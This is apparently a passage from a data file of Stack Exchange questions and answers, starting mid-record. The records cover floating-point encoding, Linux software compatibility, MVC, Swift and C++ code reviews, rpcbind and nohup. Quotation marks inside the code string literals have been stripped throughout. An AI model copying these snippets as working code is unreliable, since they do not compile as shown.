2 ^31 ) / 2^31)ie 2^31 * 1.990912266075611114501953125 exponent is always written with bias (1023 for 64 bit precision) added to it  so 1054 = 0x41e fractional part can be written as 1/2 + 1/4 + 1/8 + 1/16 + 1/32 + 1/64  ..... 1/2 ^n0.984375     < 0.990912266075611114501953125 < 0.9921875(1/2+...+1/64) <   -------                     < (1/2+....+ 1/128) 111111mantissa is approximated upto 52 bits explicitly and 1 or 0 is added implicitly a c src that shows the conversion of your specific decimal is shown below#include <stdio.h>#include <stdlib.h>#include <string.h>#define BIAS 1023int main(void) {    char binform[100] = {0};    unsigned long a = 4275451536;    _ultoa_s(a%2,&binform[0],4,10);    a = a/2;    int i = 1;    while (a>2) {        a = a/2;        _ultoa_s(a%2,&binform[i++],4,10);    }    char paddedstr[100] = {0};    sprintf_s(paddedstr,100,%s0000000000000000000000,_strrev(binform));    printf(%x-%I64x\\n,i+BIAS,_strtoui64(&paddedstr[1],0,2));}on execution the results are>F2H.exe41e-fdac6d2000000"  } 
{  "id": "_unix.184513"  , "question": "I am a professor (Mechanical Engineering department) at a college which is making the transition from Windows to Linux. However, we are quite unsure whether all the CAE softwares that we use would be compatible with Linux.The list of 13 softwares that we currently use are listed below : Solid Edge,Uni Graphics,Hyperworks,CATIA,ANSYS,FLUENT,GAMBIT,MATLAB,AutoCAD,ABAQUS,ADAMS,NASTRAN, andSTAAD PRO.Which would be the best choice of OS for my college? Red Hat Enterprise Linux or CentOS? Of the little research that I did, I came to know that some work in RHEL, which is a paid distribution. Another query of mine is whether a software would work in CentOS if it works in RHEL? Also, what about Ubuntu 14.04 LTS?"  , "title": "Compatibilty of the following softwares"  , "tags": "centos;rhel;compatibility"  } 
{  "id": "_unix.347759"  , "question": "I find myself having to play around with Solaris. I would usually redirect with 2>/dev/null which works on Solaris in general, but not with these two ways of doing recursive greps on Solaris.# no errors, but doesn't actually redirect permission denieds to /dev/null/usr/sfw/bin/ggrep -rni test / 2>/dev/null# errorsfind / -type f -exec grep test {} + 2>/dev/nullfind: bad option 2find: [-H | -L] path-list predicate-list Can someone shed some light on this?"  , "title": "Redirect errors to /dev/null when greping and finding on Solaris"  , "tags": "grep;find;solaris;io redirection"  } 
{  "id": "_cs.12667"  , "question": "Well, i have a binary search tree $T$ that is equilibrated by height witch has $2^d+c$ nodes ($c<2^d$). What is the number of comparisons that will occur in the worst case scenario, if we ask whether $k\\in V(T)$ and why does it arise?"  , "title": "Worst case scenario in binary search tree retrieval"  , "tags": "graph theory;search trees;search problem"  } 
{  "id": "_softwareengineering.155064"  , "question": "We are planning to adopt user-stories to capture stakeholder 'intent' in a lightweight fashion rather than a heavy SRS (software requirements specifications). However, it seems that though they understand the value of stories, there is still a desire to 'convert' the stories into an SRS-like language with all the attributes, priorities, input, outputs, source, destination etc.User-stories 'eliminate' the need for a formal SRS like artifact to begin with so what's the point in having an SRS? How should I convince my team (who are all very qualified CS folks by the way - both by education and practice) that the SRS would be 'eliminated' if we adopted user-stories for capturing the functional requirements of the system? (NFRs etc can be captured too, but that's not the intent of the question).So here's my 'work-flow' argument: Capture initial requirements as user-stories and later elaborate them to use-cases (which are required to be documented at a low level i.e. describing interactions with the UI prototypes/mockups and are a deliverable post deployment). Thus going from user-stories to use-cases rather than user-stories to SRS to use-cases.How are you all currently capturing user-stories at your workplace (if at all) and how do you suggest I 'make a case' for absence of SRS in presence of user-stories?"  , "title": "How do I convince my team that a requirements specification is unnecessary if we adopt user-stories?"  , "tags": "agile;requirements;user story;requirements management"  , "accepted_answer": "Baby steps. Continue to write the SRS for a while. Then call a meeting and discuss whether they still serve a purpose. Does anyone still read them? Is the time spent on them justified? Is there another intermediate step that would be more lightweight?You never know, you might find that you're wrong. Remember the Agile manifesto, we find more value in Working software over comprehensive documentation, but there is still value in the latter.My guess though is that you'll quickly discover that the desire to continue to write heavy documents falls away when they see how closely use cases and user stories relate."  } 
{  "id": "_softwareengineering.246282"  , "question": "Should a view call a helper function?Say I pass in data from the DB to the view. The data is a unix timestamp. Should I make a call in my view to convert it to a human readable TS or should I convert it in the controller before passing it in? OR should I make a method in the model that converts...Looking for a best practice or secure coding concerned answer."  , "title": "Should a view call a function?"  , "tags": "mvc"  , "accepted_answer": "This seems like a fairly trivial calculation, indeed, you could implement it in a few lines of javascript.  It is your view that is in charge of displaying data; let it do its work."  } 
{  "id": "_scicomp.26192"  , "question": "Given the one dimensional equation:$\\epsilon\\frac{\\partial^2u}{\\partial x^2} +\\frac{\\partial u}{\\partial x} = 0 $ with $0\\le\\epsilon \\ll1$ with boundary conditions $u(0) = 0$ and $u(1) = 2$, we can't neglect the diffusive term because of the boundary conditions. In which situations (with very small $\\epsilon$ could we? What's the mathematical theory behind that could explain it?Also, if we had a time-dependent equation:$\\frac{\\partial u}{\\partial t} = \\epsilon\\frac{\\partial^2u}{\\partial x^2} +\\frac{\\partial u}{\\partial x}$ how would the situation change? what if the convective term were nonlinear, such as in the Burgers equation? I haven't been able to find references on this topic, I would appreciate any. "  , "title": "When is it safe to ignore the diffusion term in an advection-diffusion equation?"  , "tags": "pde;hyperbolic pde;advection diffusion;advection;singular perturbation"  , "accepted_answer": "The stationary equation you show transports information from the right to the left via the advection term; it also diffuses slightly. If you switch off the diffusion term altogether, then you only have transport from the right to the left, and you need to also drop the boundary condition at the left: because information is from the right to the left, nothing that happens at the left end of the domain has any effect on the solution.A similar argument can be made for the time dependent equation.In general, these equations are examples of singularly perturbed problems. You will be able to find a lot of literature on the subject."  } 
{  "id": "_codereview.88645"  , "question": "Project Euler, problem #50:The prime 41, can be written as the sum of six consecutive primes:41 = 2 + 3 + 5 + 7 + 11 + 13 This is the longest sum of consecutive  primes that adds to a prime below one-hundred.The longest sum of consecutive primes below one-thousand that adds to  a prime, contains 21 terms, and is equal to 953.Which prime, below one-million, can be written as the sum of the most  consecutive primes?I came up with this code, but it only works decently for primes below ten thousand.Any ideas on how to optimize it?from pyprimes import *def sequence_exists(l,ls,limit = 100):    for x in range(0,len(ls)-l):        if x+l > len(ls): return False        if any (ls[i] > limit/6 for i in range(x,x+l,1)) :            return False        test_sum = sum(ls[x:x+l:1])        if (test_sum <limit) and is_prime(test_sum) :            return True    return Falsedef main():    n = prime_count(10000)    prime_list = list(nprimes(n))    l = 6    for x in range(6,len(prime_list)):        if sequence_exists(x,prime_list,10000):            l=x    print lif __name__ == '__main__':    main()"  , "title": "Project Euler 50 in Python"  , "tags": "python;programming challenge;primes"  } 
{  "id": "_softwareengineering.234116"  , "question": "I have recently learned about the MVC design pattern. I'm learning from the Head First Design Pattern book.According to this book (if I understand correctly):The Model is most of the application logic and data.The View is basically the GUI that represents the Model visually to the user.The Controller is responsible to 'mediate', and act as a 'middleman' between the View and the Model. The View reports to the Controller that the user made an action, and the Controller translates it to method calls on the Model.However, a lot of places on the web contradict what I understand from that book. They claim that generally the user interacts with the Controller, not the View.Which one is true or more common? Does the user interact with the Controller directly, or with the View directly? Are both approaches acceptable? Which is more common?"  , "title": "Model-View-Controller: Does the user interact with the View or with the Controller?"  , "tags": "design patterns;mvc"  , "accepted_answer": "The user interacts with the View, but the View must communicate the actions to the Controller. The Controller may update the Model, but it isn't required with every/any change.The description I am providing is based on my personal experience with the .NET implementation of MVC. Your implementation can be different.The Controller is where actions are processed, basically a business layer. A simple controller will do nothing more than get the data from the Model to feed to the View. A complicated Controller will perform all sorts of actions, up to security management, authentication, authorization, registration, and possibly many other things.The View should only be responsible for displaying the information in a fashion that the user can understand. There can be some cross over here with both the Controller and the Model as things like Single Page Applications (SPAs) will have data validation feedback for the user. Any other cross overs are heavily frowned upon.The Model deals with data. This includes validation of data (where applicable). Data storage and retrieval is also handled in this layer.UPDATEThere seems to be some confusion surrounding who does what when. I included two different overviews of the MVC architectures because they are similar, but not the same. There is room for either interpretation. Possibly, many more. The descriptions above are my interpretation of MVC from multiple sources, including my own experience building applications using this methodology. Hopefully, this update will help to clear up some of this confusion. MVC is an attempt to build a Separation of Concerns design pattern for software development. It has primarily been implemented in web based applications (to my knowledge).The View handles all of the user interaction. If your user clicks on a button, the View determines if the click is a user interface interaction or something that is beyond its concern (a Controller interaction). If the button does something like copy values from one field to another, your implementation will determine if that is a View concern or a Controller concern. You will most likely only have this blurring of concerns when dealing with a Single Page Application (SPA).The Controller is where your actions are processed. The View has communicated the user decided to change values for some fields. The Controller may perform validation on that data or it may be handled by the Model. Again this is implementation dependent. If the Controller has security features, it may determine that the user doesn't have sufficient privileges to perform the action. It would reject the changes and update the View accordingly. The Controller also determines what data to retrieve from the Model, how to package it, and update the View with that data.The Model determines how and where to store data. It may also perform validation of that data before storing it (it should do this because people will bypass the View on occasion).Wikipedia has an article on MVC.A model notifies its associated view/views and controllers when there has been a change in its state. This notification allows views to update their presentation, and the controllers to change the available set of commands. In some cases an MVC implementation might instead be passive, so that other components must poll the model for updates rather than being notified.A view is told by the controller all the information it needs for generating an output representation to the user. It can also provide generic mechanisms to inform the controller of user input.A controller can send commands to the model to update the model's state (e.g., editing a document). It can also send commands to its associated view to change the view's presentation of the model (e.g., by scrolling through a document).From Microsoft's Overview of MVC.Models. Model objects are the parts of the application that implement the logic for the application's data domain. Often, model objects retrieve and store model state in a database. For example, a Product object might retrieve information from a database, operate on it, and then write updated information back to a Products table in a SQL Server database.In small applications, the model is often a conceptual separation instead of a physical one. For example, if the application only reads a dataset and sends it to the view, the application does not have a physical model layer and associated classes. In that case, the dataset takes on the role of a model object.Views. Views are the components that display the application's user interface (UI). Typically, this UI is created from the model data. An example would be an edit view of a Products table that displays text boxes, drop-down lists, and check boxes based on the current state of a Product object.Controllers. Controllers are the components that handle user interaction, work with the model, and ultimately select a view to render that displays UI. In an MVC application, the view only displays information; the controller handles and responds to user input and interaction. For example, the controller handles query-string values, and passes these values to the model, which in turn might use these values to query the database."  } 
{  "id": "_webapps.90641"  , "question": "I am trying to create 2 events that have custom repeats but I can't quite figure out the coding. I need an event that happens every 30 days but if the 30th day is a weekend I'd like it to move to the following Monday. But I also need it to stay on the original 30 day cycle.I also need an event that happens x week days before x day of the month.  For instance I'd like an event that happens 3 weekdays before the 15th of every month.Any help would be great."  , "title": "iCalendar RRULE Recurring Events Custom Repeat"  , "tags": "google calendar;ical"  } 
{  "id": "_softwareengineering.43725"  , "question": "I am in charge of a group of about 30 software development experts and architects. While these people are co-located in the companies organization chart, they do not really feel as a team. This is due to their work enviroment:1) The people are spread over eight locations, with a max. distance of about 1000km (this is Europe).2) The people don't work as team but instead get called as single people (and sometimes small groups) into projects for as long as the projects run. 3) Travelling is somewhat limited as this requires business reasons. Lot is done via phone.Do you have ideas or suggestions on how I could make these people feeling part of a joint organization where they support others and get supported by others. So that they get to know their peers, build a network, informally exchange information? So that they generally get the feeling of having common ground and derive motivation and job satisfaction?"  , "title": "How to build a team of people not working together?"  , "tags": "team;motivation"  } 
{  "id": "_codereview.158142"  , "question": "I am trying to write a program to find the practical numbers, from an input from \\$1\\$ to \\$n\\$.Practical numbersMy code is running correctly but it is extremely slow when calculating numbers around 50 - it gets stuck at 44.import Foundationfunc getInteger() -> Int {    var firstNum:Int = 0    while true {        // get value from user. Using optional input since readLine returns an optional string.        let input = readLine()        // ensure string is not nil        if let unwrappedInput = input {            if let unwrappedInt = Int(unwrappedInput) {                firstNum = unwrappedInt                break            }            else { // the input doesn't convert into an int                print(`\\(unwrappedInput)` is not an integer. Please enter an integer)            }        }        else { // did not enter anything            print(Please enter an integer)        }    }    return firstNum}func addOne(signArray: [Int]) -> [Int] { // finds the combinations    var signArray2 = [Int]()    for i in 0...signArray.count-1 {        signArray2.append (signArray[i])    }    for i in 0...signArray2.count-1 {        if signArray2[i] == 1 {            signArray2[i] = 0        }        else {            signArray2[i] = 1            break        }    }    return signArray2}func signEval (signArray: [Int], divArray: [Int], inNum: Int) -> Bool  {// changes 2nd  var counts = 0    for i in 0...divArray.count-1 {        if signArray[i] == 0 {counts = divArray[i] + counts        }        if counts == inNum {            return true        }    }        return false}print(Please enter a number to find the summable numbers up to that number:)var input2 = getInteger()// if num = 1 print 1 if num = 2 print 1 and 2 else print >2 1, 2var inNum = 0var numHalf = 0.0var numRound = 0.0var numCheck = falsevar numCheck2 = falsevar numQuarter = 0.0var numSixth = 0.0var divArray:[Int] = []var theirArray = [Int]()var signArray = [Int]()// array of 0s and 1svar summableArray:[Int] = [1,2] // need to check if num is bigger than 2!for input in 1...input2 {        numHalf = Double (input) / 2.0        numRound = round(numHalf)        if numRound == numHalf {            numCheck = true }        if input > 2 && numCheck == false { // odd numbers greater than one are not summable        }        else { // these are possible summable nums            numQuarter = Double (input) / 4.0            numRound = round(numQuarter)            if numRound == numQuarter {                numCheck = true            }            else {                numCheck = false            }            numSixth = Double(input) / 6.0            numRound = round(numSixth)            if numRound == numSixth {                numCheck2 = true }            else { numCheck2 = false}            if numCheck == true || numCheck2 == true {        theirArray = []        divArray = []        signArray = []        summableArray = []for i in 1...input {    theirArray.append (i)    }for i in 1...input { // creates an array of all the diviors of inputted number    if input%i == 0 {        divArray.append (i)    }}        for j in 1...divArray.count {//            signArray.append(0)        }for i in 1...input{let x: Int = Int(pow(Double(2),Double(input-1)))// int 2 to the power of input -1    var Boolcheck = false    for q in 1...x-1 { // i to 2^n -1 (sequence to check)    Boolcheck = (signEval(signArray: signArray, divArray: divArray, inNum: i))// checks        signArray = addOne(signArray: signArray)// adding the ones to the array        if Boolcheck == true {        summableArray.append(i)// creates array of mini summable numbers        break    }        }   if summableArray.count == input {      print (\\(input))    }}    }}}"  , "title": "Practical number algorithm"  , "tags": "time limit exceeded;swift;mathematics"  , "accepted_answer": "Some points in addition to what Roland already said:You are correct that the readLine() returns an optional and you needto ensure that it is not nil. However, nil is only returned on anend-of-file condition, which means that it makes no sense to callreadLine() again. You can only terminate the program in thatsituation. That is a typical use-case for guard:func readInteger() -> Int {    while true {        guard let line = readLine() else {            fatalError(Unexpected end-of-file)        }        if let n = Int(line) {            return n        }        print(Please enter an integer)    }}Now let's have a look atvar signArray2 = [Int]()for i in 0...signArray.count-1 {    signArray2.append (signArray[i])}First, this will crash if signArray is empty. Better use a half-openrange instead:for i in 0..<signArray.count { ... }or iterate over the indicesfor i in signArray.indices {    signArray2.append (signArray[i])}or just iterate over the elements:for e in signArray {    signArray2.append(e)}But actually, you are just copying the array:var signArray2  = signArrayDetermination of the divisors should be done in a separate function.Your codedivArray = []for i in 1...input {    if input % i == 0 {        divArray.append (i)    }}can be simplified todivArray = (1...input).filter { input % $0 == 0 }There are various ways to make this faster. For example the observationthat with each divisor \\$ i \\$ of a number \\$ n \\$, \\$ n/i \\$ is anotherdivisor (see for example Find all divisors of a natural number).That allows to reduce the number of loop iterations to the square-root of thegiven number, and could look like this:func divisors(n: Int) -> [Int] {    var divs = [Int]()    for i in 1...Int(sqrt(Double(n))) {        if n % i == 0 {            divs.append(i)            if n/i != i {                divs.append(n/i)            }        }    }    return divs // or divs.sorted(), if necessary}Your code signArray = []for j in 1...divArray.count {//    signArray.append(0)}creates an array with the same size as divArray, but filled withzeros. That can be simplified tosignArray = Array(repeating: 0, count: divArray.count)There is no need to use string interpolation when printing an integer(or any single value), print (\\(input))can be simplified to print(input)Why is your code slow?There is a logical error in  let x: Int = Int(pow(Double(2),Double(input-1)))// int 2 to the power of input -1because the number of possible combinations of divisors isjust \\$ 2 ^ {\\text{number of divisors}} \\$, which can be computed as let x = 1 << divArray.countWith that change, your program computes all practical numbersup to 200 in 0.2 seconds, and up to 1,000 in 25 seconds(on a MacBook, compiled in Release mode, with optimization).A faster algorithmIn order to determine if \\$ n \\$ is a practical number,you test all numbers \\$ 1 \\le i \\le n \\$ if they are a sumof distinct divisors of \\$ n \\$, and for each \\$ i \\$ that is done by building allpossible sums of divisors, until \\$ i \\$ is found. It is more efficient to work the other way around. From the list ofdivisors of  \\$ n \\$, build a list of all sums of distinct divisors.This can be done iteratively: Starting with  \\$ 0 \\$, the first, second, ...divisor is added to the numbers obtained previously.Then check if all numbers from \\$ 1 ... n-1 \\$ are in that list.The following implementation uses a boolean array to mark all numberswhich are confirmed as sums of divisors. In addition, it uses thatpowers of two are always practical numbers (using the method fromDetermining if an integer is a power of 2).func divisors(_ n: Int) -> [Int] {    var divs = [Int]()    for i in 1...Int(sqrt(Double(n))) {        if n % i == 0 {            divs.append(i)            if n/i != i {                divs.append(n/i)            }        }    }    return divs.sorted()}func isPractical(n: Int) -> Bool {    // 1 and 2 are practical numbers:    if n == 1 || n == 2 {        return true    }    // Every other practical number must be divisible by 4 or 6:    if n % 4 != 0 && n % 6 != 0 {        return false    }    // Every power of 2 is a practical number:    if n & (n-1) == 0 {        return true    }    var isSumOfDivisors = Array(repeating: false, count: n)    isSumOfDivisors[0] = true    var last = 0 // Index of last `true` element.    // For all divisors d of n (except n):    for d in divisors(n).dropLast() {        // For all i which are a sum of smaller divisors (in reverse order, so that        // we can simply update the array):        for i in stride(from: min(last, n-1-d), through: 0, by: -1) where isSumOfDivisors[i] {            // Mark i + d:            isSumOfDivisors[i + d] = true            if i + d > last {                last = i + d            }        }    }    // n is practical if isSumOfDivisors[i] == true for all i = 0...n-1:    return !isSumOfDivisors.contains(false)}Test code:let startDate = Date()let practicalNumbers = (1...10_000).filter(isPractical)let endDate = Date()print(endDate.timeIntervalSince(startDate))print(practicalNumbers)On my MacBook, this computes the practical numbers up to 1,000 in 0.003 seconds, and up to 10,000 in 0.1 seconds."  } 
{  "id": "_codereview.151142"  , "question": "I got the idea for this program from this site.functions.cpp:#include <iostream>#include <cstdlib>#include <iomanip>namespace my{    int getOneOrZero()  {    return (rand() >> 14);   // >> the bitwise operator  }// getArray leaves the numbers ( 0-99 ) that have in their bit position        represented by bigFlag the num ( 0 or 1 )void printNums(int8_t bitFlag, int num)    // num is from getOneOrZero() so it's 1 or 0;{    for (int counter = 0; counter < 100; ++counter)  // there are quite a few implicit conversions to one byte integers        {            if ( (counter & bitFlag) != num*bitFlag )                std::cout << std::setw(8) <<  ;            else                std::cout << std::setw(8) << counter;            if ( (counter % 9) == 0)                std::cout << std::endl;        }}char getAnswer(){    while (1)    {        std::cout << \\n Is your number shown above ?\\n\\n 'y' for yes , 'n' for no , 'r' for reset : ;        char answer;        std::cin >> answer;        std::cin.ignore(32767,'\\n');        if (std::cin.fail())            std::cin.clear();        if (answer == 'y' || answer == 'n' || answer == 'r')   // I could use switch but nevermind            return answer;    }}void turnsPassed(int turns){    std::cout << \\n This is turn  << turns << \\n\\n;}int swapZeroOrOne(int num){    switch (num)    {    case 0 :        return 1;    case 1 :        return 0;    default:        std::cout << \\nSwapZeroOrOne ERROR !\\n;        break;    }}int getUpdateForGuessNum(int8_t flag, int num, char answer){    switch (answer)    {    case 'n' :        { int newNum = swapZeroOrOne(num);          return newNum*flag;        }    case 'y' :        return num*flag;    case 'r' :        break;    default  :        std::cout << \\n ERROR ! In getUpdateForGuessNum\\n;        break;    }  }}main.cpp:#include <iostream>#include <iomanip>#include <cstdlib>#include <ctime>#include functions.hpp#include constants.hpp#include <stdlib.h>      // for system() commands >.<int main(){srand( static_cast<unsigned int>(time(0)));Reset :      // goto !system(cls);int guessNum = 0;// guessing loop !for (int counter = 0; counter < 7; ++counter){    if (counter == 0)        std::cout << \\n Think of a number between 0 to 99\\n;    my::turnsPassed(counter + 1);  // +1 cause counter starts from 0    int num {my::getOneOrZero()};  // this gives a randomness to the numbers shown each time you run the programm    my::printNums(myVar::bitFlag[counter],num);    char answer { my::getAnswer() };    if (answer == 'r')        goto Reset;    guessNum |= my::getUpdateForGuessNum(myVar::bitFlag[counter],num,answer);    system(cls);}std::cout << \\n Your number is \\n;std::cout << \\n << std::setfill('-')  << std::setw(81) << \\n;std::cout << std::setfill(' ') << std::setw(41) << guessNum << \\n;std::cout << \\n << std::setfill('-')  << std::setw(81) << \\n;system(pause);  // I should fix thisreturn 0;}functions.hpp:#pragma oncenamespace my{    int getOneOrZero();    void printNums(int8_t,int);    char getAnswer();    void turnsPassed(int);    int getUpdateForGuessNum(int8_t,int,char);    int swapZeroOrOne(int);}constants.hpp:#pragma oncenamespace myVar{    const int8_t bitFlag[] {0x1, 0x2, 0x4, 0x8, 0x10, 0x20, 0x40, 0x80};}Please suggest ways to improve this program. Explain the suggestions you make because I need to know why I should change something."  , "title": "Program that guesses your number using bitwise operations"  , "tags": "c++;beginner;c++11;bitwise;number guessing game"  , "accepted_answer": "Here are some things that may help you improve your code.Understand type implicationsThe code includes a bitFlag array that is declared as const int8_t but then contains a value that is 0x80.  The problem with that is that when the compiler encounters the constant 0x80, it converts it into an int by default, and so that would be the value 128.  However, 128 is not representable in an int8_t.  That bit pattern is actually -128 as an int8_t, so I'd recommend either using a different type (such as uint8_t) for the variable or writing -0x80 for the constant which is correct, but a little strange looking.Know the standard typesThis function is in the current code:int getOneOrZero(){    return (rand() >> 14);   // >> the bitwise operator}There are two problems with this.  The first is that it apparently assumes that an int is 16 bits.  However, on my machine, an int is 64 bits.  In general, you can't assume that the size of an int is a fixed size.  The standard only says (implicitly from the required range) that it must be 16 bits, but it may be larger.  The second problem is addressed in the next point.Consider using a better random number generatorBecause you are using a compiler that supports at least C++11, consider using a better random number generator.  In particular, instead of rand, you might want to look at std::bernoulli_distribution and friends in the <random> header.Here's one way to rewrite it:int getOneOrZero(){    static std::mt19937 gen{std::random_device{}()};    static std::bernoulli_distribution bd;    return bd(gen);   }Ensure every control path returns a proper valueThe swapZeroOrOne routine returns 1 or 0 under some set of conditions but then doesn't return anything at all otherwise (although it prints an error essage).  This is an error because all control paths should return a value.  Since it's only used once, and because it can be trivially rewritten, I'd probably replace this:case 'n' :    { int newNum = swapZeroOrOne(num);      return newNum*flag;    }with this:    return (1-num)*flag;Avoid using gotoHaving a goto statement in modern C++ is usually a sign of bad design.  Better would be to eliminate them entirely -- it makes the code easier to follow and less error-prone.  In this code, it's probable that you could use a loop instead:for (bool playing=true; playing;  )    // code to play the game    // ask user if they want to play again    playing = answer == 'r'; }Don't use system(cls)There are two reasons not to use system(cls) or system(pause).  The first is that it is not portable to other operating systems which you may or may not care about now.  The second is that it's a security hole, which you absolutely must care about.  Specifically, if some program is defined and named cls or pause, your program will execute that program instead of what you intend, and that other program could be anything.  First, isolate these into a seperate functions cls() and pause() and then modify your code to call those functions instead of system.  Then rewrite the contents of those functions to do what you want using C++.  For example, if your terminal supports ANSI Escape sequences, you could use this:void cls(){    std::cout << \\x1b[2J;}Think of the userIf the user were to get an error message that said:ERROR ! In getUpdateForGuessNumWhat use is that unless they also happen to be the author of the code?  Instead, for errors that are an indication of a program flaw, I'd use assert or for things that are unusual but still should be accomodated by the program, use an exception.Use objectsYou have a guessNum and counter to support the game and then separate functions printNums and getAnswer, etc. that operate on guessNum. With only a slight syntax change, you would have a real object instead of C-style code written in C++.  You could declare a GuessNum object and then printNums, getAnswer, etc. could all be member functions.Don't use std::endl unless you really need to flush the streamThe difference between std::endl and '\\n' is that std::endl actually flushes the stream. This can be a costly operation in terms of processing time, so it's best to get in the habit of only using it when flushing the stream is actually required. It's not for this code.Omit return 0When a C or C++ program reaches the end of main the compiler will automatically generate code to return 0, so there is no need to put return 0; explicitly at the end of main.  Note: when I make this suggestion, it's almost invariably followed by one of two kinds of comments:  I didn't know that. or That's bad advice!  My rationale is that it's safe and useful to rely on compiler behavior explicitly supported by the standard.  For C, since C99; see ISO/IEC 9899:1999 section 5.1.2.2.3:[...] a return from the initial call to the main function is equivalent to calling the exit function with the value returned by the main function as its argument; reaching the } that terminates the main function returns a value of 0.For C++, since the first standard in 1998; see ISO/IEC 14882:1998 section 3.6.1:If control reaches the end of main without encountering a return statement, the effect is that of executing return 0;All versions of both standards since then (C99 and C++98) have maintained the same idea.  We rely on automatically generated member functions in C++, and few people write explicit return; statements at the end of a void function.  Reasons against omitting seem to boil down to it looks weird.  If, like me, you're curious about the rationale for the change to the C standard read this question.  Also note that in the early 1990s this was considered sloppy practice because it was undefined behavior (although widely supported) at the time.  So I advocate omitting it; others disagree (often vehemently!)  In any case, if you encounter code that omits it, you'll know that it's explicitly supported by the standard and you'll know what it means."  } 
{  "id": "_unix.371667"  , "question": "I installed CentOS7 on Virtualbox. I have installed port map using sudo yum install portmap and then tried to enable it with service rpcbind start however I can not enable the service. I tried rebooting and entering following codes but nothing happened:[hadi@localhost ~]$ systemctl enable rpcbind.socket[hadi@localhost ~]$ systemctl restart rpcbind.serviceJob for rpcbind.service failed because the control process exited with error code. See systemctl status rpcbind.service and journalctl -xe for details.I appreciate your suggestionsif you need the status of rpcbind:    Redirecting to /bin/systemctl status  -l rpcbind.service rpcbind.service - RPC bind service   Loaded: loaded (/usr/lib/systemd/system/rpcbind.service; indirect; vendor preset: enabled)   Active: failed (Result: exit-code) since Sat 2017-06-17 18:32:07 IRDT; 32s ago  Process: 4382 ExecStart=/sbin/rpcbind -w $RPCBIND_ARGS (code=exited, status=127)Jun 17 18:32:07 localhost.localdomain systemd[1]: Starting RPC bind service...Jun 17 18:32:07 localhost.localdomain rpcbind[4382]: /sbin/rpcbind: symbol lookup error: /sbin/rpcbind: undefined symbol: libtirpc_set_debugJun 17 18:32:07 localhost.localdomain systemd[1]: rpcbind.service: control process exited, code=exited status=127Jun 17 18:32:07 localhost.localdomain systemd[1]: Failed to start RPC bind service.Jun 17 18:32:07 localhost.localdomain systemd[1]: Unit rpcbind.service entered failed state.Jun 17 18:32:07 localhost.localdomain systemd[1]: rpcbind.service failed."  , "title": "How to activate rpcbind service in CentOS installed on virtual box?"  , "tags": "centos;nfs"  , "accepted_answer": "Please see this bug report:https://bugzilla.redhat.com/show_bug.cgi?id=1396291rpcbind can fail to start after updating to the 7.3 rpcbind package  from an earlier version, if the libtirpc package is not updated as  well.  [...]  Updating the libtirpc package fixes this issue.In other words: update the libtirpc package and then restart rpcbind."  } 
{  "id": "_webmaster.3028"  , "question": "I'm starting to create a site, and want to run it on a VPS rather than shared for a variety of reasons. This means that, if I were to want email services, I'd need to tackle the non-trivial task of running an email server. Not a fun problem for a noob like me.The three uses I can think of break down as follows:The usual email the admin/support/whatever services. I suppose I could get away with using mysite@gmail.com but I'd prefer to keep everything uniform if possible.Account confirmation emails / password resets. This seems like the major hurdle.Digest emails, i.e. the following has happened to your stuff in the last week - replies, votes, etc. Not dissimilar from the stackoverflow emails. Opt-in, obviously.Do I really have the option of not supporting email on my site?"  , "title": "How Important Is Email?"  , "tags": "email"  , "accepted_answer": "Email is still very important. And don't use a company@gmail.com / @hotmail.com account, it just sends all the wrong kinds of signals. On the other hand, nobody says you need to run an SMTP server yourself.One simple and low-cost solution is free Google Apps Standard on your own domain name. This gives you a simple web interface to manage email accounts, a GMail webmail application, and POP3 / SMTP / IMAP4 access to your emails. You can use a regular POP3/SMTP client library to send emails from your webapp servers. I have seen anecdotal complaints about slow'ish delivery and hitting Google's limits too soon while using the free Google Apps edition; but personally I have never had problems with Google Apps.If you need to send many emails you can always upgrade to a for-pay Google App Engine account, or switch your outgoing mailserver to something like Sendgrid.You should set up a Sender Policy Framework record to proactively whitelist the email servers for your domain, and include the SPF records of your external mail providers.One last thing: Don't underestimate the power of emails as a sales & retention tool. A targeted personal email after signup, a reminder email if someone isn't using the site during their trial period, etc -- these do help to reduce abandonment rate."  } 
{  "id": "_cs.67472"  , "question": "The R-Tree creates 'rectangles' to index 2D data. How is their size calculated exactly? What happens to the performance by changing this parameter i.e. the size of this rectangle/MBR? Number of overlaps, area covered change but can this speed up some kind of queries or build a smaller index?"  , "title": "How is the R-Tree's MBR size determined? Changes to MBR?"  , "tags": "database theory;databases"  } 
{  "id": "_cs.19657"  , "question": "Two strings $S$ and $T$ are said to be conjugate if there are two non-empty strings $A$ and $B$ such that $S = A+B$ and $T = B+A$ ($+$ is concatenation). How can I find if two strings are conjugate or not?Example: if S=tokyo and T=kyoto, then the pair $(S,T)$ is conjugate, because we can find A=to and B=kyo."  , "title": "Check if there exist A and B such that S=A+B and T=B+A"  , "tags": "algorithms;strings"  } 
{  "id": "_unix.1267"  , "question": "If I run a program with an infinite loop with nohup, will the program run indefinitely (until the machine is reset or until I manually terminate it)?"  , "title": "Is nohup indefinite?"  , "tags": "command line;process;signals"  , "accepted_answer": "Nohup sets the default behavior of the HANGUP signal, which might get overriden by the application. Other signals from other processes with permission (root or same user) or bad behavior (seg faults, bus errors) can also cause program termination. Resource limitations (ulimit) can also end the program.Barring these, your infinite loop might well run a very long time."  } 
{  "id": "_softwareengineering.206470"  , "question": "At one of the DevDays conferences a presenter said that Workflow Foundation isn't just for applications that require persistence, but they can make it easier to write and maintain Async WCF code and the corresponding error handling.  (try.. catch)Assuming that is true, is Workflow Foundation able to use all the CPUs in a system? (Async IO)What WF-specific guidance is needed before writing a CPU-heavy Async WCF application within the WF framework?  (only tips that are specific to Workflow Foundation)"  , "title": "Is Windows Workflow Foundation appropriate for a CPU-heavy async application?"  , "tags": "workflows;wcf;async;asynchronous programming;workflow foundation"  } 
